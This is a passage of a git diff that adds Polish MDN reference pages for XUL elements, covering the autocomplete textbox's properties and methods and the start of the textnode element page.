+</dl></div>
+<div id="p-focused">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/focused">focused</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-focused"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/focused">focused</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-forceComplete">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/forceComplete">forceComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-forcecomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/forcecomplete">forcecomplete</a></code>.</dd>
+</dl></div>
+<div id="p-ignoreBlurWhileSearching">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code>.
+</dd></dl>
+
+</div>
+<div id="p-inputField">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/inputField">inputField</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element textbox</i>
+ </dd>
+ <dd>
+ W Mozilli, pole tekstowe w języku XUL jest zaimplementowane jako otoczenie wokół elementów kontrolek formularza (input) języka HTML. Ta własność tylko do odczytu podtrzymuje odniesienie do wewnętrznego elementu input.</dd>
+</dl></div>
+<div id="p-isSearching">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/isSearching">isSearching</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code> podczas, gdy szukanie jest wykonywane.</dd>
+</dl></div>
+<div id="p-isWaiting"></div>
+<div id="p-label">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/label">label</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>.
+</dd></dl>
+<p><br>
+</p>
+
+</div>
+<div id="p-maxLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/maxLength">maxLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków w polu tekstowym, jaką można wpisać.</dd>
+</dl></div>
+<div id="p-maxRows">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/maxRows">maxRows</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code>.</dd>
+</dl></div>
+<div id="p-minResultsForPopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/minResultsForPopup">minResultsForPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code>.</dd>
+</dl></div>
+<div id="p-noMatch">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/noMatch">noMatch</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność będzie ustawiona na <code>true</code>, jeśli ostatni rezultat szukania nie zawierał żadnych pozycji.</dd>
+</dl></div>
+<div id="p-open">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl></div>
+<div id="p-resultsPopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/resultsPopup">resultsPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element wyskakujący</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona jako element wyskakujący, który wyświetla wyniki (rezultaty).</dd>
+</dl></div>
+<div id="p-searchSessions">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/searchSessions">searchSessions</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista nazw sesji rozdzielona spacją</i>
+ </dd>
+ <dd>
+ Ustawia słowo kluczowe sygnalizując jakiego typu dane są szukane dla autouzupełnienia. Możemy ustawić wiele typów poprzez rozdzielenie ich nazw spacją. Następujące wartości są możliwe, mimo że komponenty użytkownika mogą być zainstalowane, które dodają inne.</dd>
+</dl>
+<ul>
+ <li><code>history</code>: Przeszukana jest historia adresów URL użytkownika.</li>
+ <li><code>addrbook</code>: Przeszukana jest książka adresowa użytkownika.</li>
+ <li><code>ldap</code>: Przeszukany jest katalog LDAP użytkownika.</li>
+</ul></div>
+<div id="p-selectionEnd">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia koniec zaznaczonej części pola tekstu. Stosujemy ze sprzężeniem z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>. Wartość określa indeks znaku za zaznaczeniem. Jeśli ta wartość jest równa sumie wartości własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code>, to żaden tekst nie jest zaznaczony, lecz wartość sygnalizuje pozycję wstawki (kursora) wewnątrz pola tekstowego.</dd>
+</dl></div>
+<div id="p-selectionStart">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionStart">selectionStart</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia początek zaznaczonej części pola tekstu. Stosujemy w sprzężeniu z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectionEnd">selectionEnd</a></span></code>. Wartość określa indeks pierwszego zaznaczonego znaku.</dd>
+</dl></div>
+<div id="p-sessionCount">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/sessionCount">sessionCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje liczbę sesji.</dd>
+</dl></div>
+<div id="p-showCommentColumn">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/showCommentColumn">showCommentColumn</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-showcommentcolumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showcommentcolumn">showcommentcolumn</a></code>.</dd>
+</dl></div>
+<div id="p-showPopup">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/showPopup">showPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-showpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showpopup">showpopup</a></code>.</dd>
+</dl></div>
+<div id="p-size">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/size">size</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-tabScrolling">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabScrolling">tabScrolling</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabscrolling"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabscrolling">tabscrolling</a></code>.</dd>
+</dl></div>
+<div id="p-textLength">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/textLength">textLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje długość wprowadzanego tekstu w polu tekstowym. Ta własność jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-timeout">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/timeout">timeout</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code>.</dd>
+</dl></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<div id="p-userAction">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/userAction">userAction</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-userAction"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/userAction">userAction</a></code>.</dd>
+</dl></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-addSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addSession">addSession( session )</a></code></span>
+</dt><dd> Zwraca typ: <i>nsIAutoCompleteSession</i>
+</dd><dd> Dodaje obiekt nowej sesji do widgetu autouzupełnienia. Ten możemy zastosować do utworzenia autouzupełnienia listy rezultatów dostosowanej do naszych wymagań. Argument powinien być obiektem, który implementuje interfejs <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>. Ta metoda zwraca pasujący obiekt.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-clearResults"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/clearResults">clearResults()</a></code></span>
+</dt><dd> Zwraca typ: <i>???</i>
+</dd><dd> Czyści listę z wynikiem.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getDefaultSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getDefaultSession">getDefaultSession</a></code></span>
+</dt><dd> Zwraca typ: <i>nazwa sesji</i>
+</dd><dd> Zwraca nazwę pierwszej sesji z dostępnych rezultatów.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getResultAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultAt">getResultAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIAutoCompleteItem">nsIAutoCompleteItem</a></i>
+</dd><dd> Zwraca wynik pozycji w określonym indeksie. Pozycja będzie wartością typu <a href="pl/NsIAutoCompleteItem">nsIAutoCompleteItem</a>.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-getResultCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultCount">getResultCount( session )</a></code></span>
+</dt><dd> Zwraca typ:: <i>???</i>
+</dd><dd> Zwraca liczbę rezultatów (Argument <var>session</var> jest is obecnie ignorowany).
+</dd></dl>
+<p><br>
+</p>
+<dl>
+ <dt>
+ <span id="m-getResultValueAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultValueAt">getResultValueAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ wartość wyniku</i>
+ </dd>
+ <dd>
+ Zwraca wartość wyniku w określonym indeksie. Pozycja będzie przesłana do tekstu tej pozycji, która pojawi się w okienku wyskakującym (popup).</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-getSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSession">getSession( session )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt sesji z danym indeksem. Będzie zwrócony obiekt typu <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-getSessionByName"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionByName">getSessionByName( name )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt sesji wraz z daną nazwą. Będzie zwracał obiekt typu <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-getSessionResultAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionResultAt">getSessionResultAt( session, index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ pozycja wyniku</i>
+ </dd>
+ <dd>
+ Zwraca pozycję wyniku w określonym <var>index</var> dla określonej <var>session</var>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-getSessionStatusAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionStatusAt">getSessionStatusAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ ???</i>
+ </dd>
+ <dd>
+ Zwraca status dla obiektu sesji z danego indeksu.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-getSessionValueAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSessionValueAt">getSessionValueAt( session, index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ wartość wyniku/rezultatu</i>
+ </dd>
+ <dd>
+ Zwraca wartość rezultatu w określonym <var>index</var> dla określonej <var>session</var>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-removeSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeSession">removeSession( session )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ ???</i>
+ </dd>
+ <dd>
+ Usuwa obiekt sesji z widgetu autouzupełniania. Argument powinien być obiektem, który implementuje interfejs <a href="pl/NsIAutoCompleteSession">nsIAutoCompleteSession</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-select"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/select">select()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym.</dd>
+</dl>
+<dl><dt> <span id="m-setSelectionRange"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/setSelectionRange">setSelectionRange( start, end )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Ustawia zaznaczoną porcję pola tekstowego, gdzie argumentem początkowym <var>start</var> jest pierwszy zaznaczony znak i argument końcowym <var>end</var> jest indeks znaku po zaznaczeniu. Ustawiając oba argumenty na tę samą wartość, pozwoli nam na przesunięcie kursora do przesłanej pozycji bez zaznaczenia tekstu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<dl><dt> <span id="m-syncSessions"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/syncSessions">syncSessions( autoCompleteElement )</a></code></span>
+</dt><dd> Zwraca typ: <i>???</i>
+</dd><dd> Kopiuje sesje z kolejnego elementu autouzupełnienia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULMenuListElement">nsIDOMXULMenuListElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/textnode/index.html b/files/pl/mozilla/tech/xul/textnode/index.html
new file mode 100644
index 0000000000..7a5b372a9d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/textnode/index.html
@@ -0,0 +1,106 @@
+---
+title: textnode
+slug: Mozilla/Tech/XUL/textnode
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/textnode
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Zwykle, podczas podstawiania zasobów <a href="pl/RDF">RDF</a> w zasadach szablonu, podajesz nazwę właściwości RDF wewnątrz wartości atrybutu, poprzedzone tekstem <code>rdf:</code>. W przypadku elementu <code>textnode</code>, cały węzeł jest zastępowany tekstem odpowiadającym wynikową wartością atrybutu.
+</p><p>Jest to przydatne, jeśli chcesz użyć elementu <code>html</code> lub innych elementów które zawierają tekst w sobie zamiast w atrybutach. Ten element nie robi nic, gdy użyty poza szablonem.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-textnode.value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-textnode.value">
+
+<dl><dt> <a href="pl/XUL/Atrybut/textnode.value">value</a>
+</dt><dd> Typ: <i>adres URL predykatu RDF</i>
+</dd><dd> Wartość tekstowa do wyświetlenia. Ta wartość powinna być własnością RDF.
+</dd></dl>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
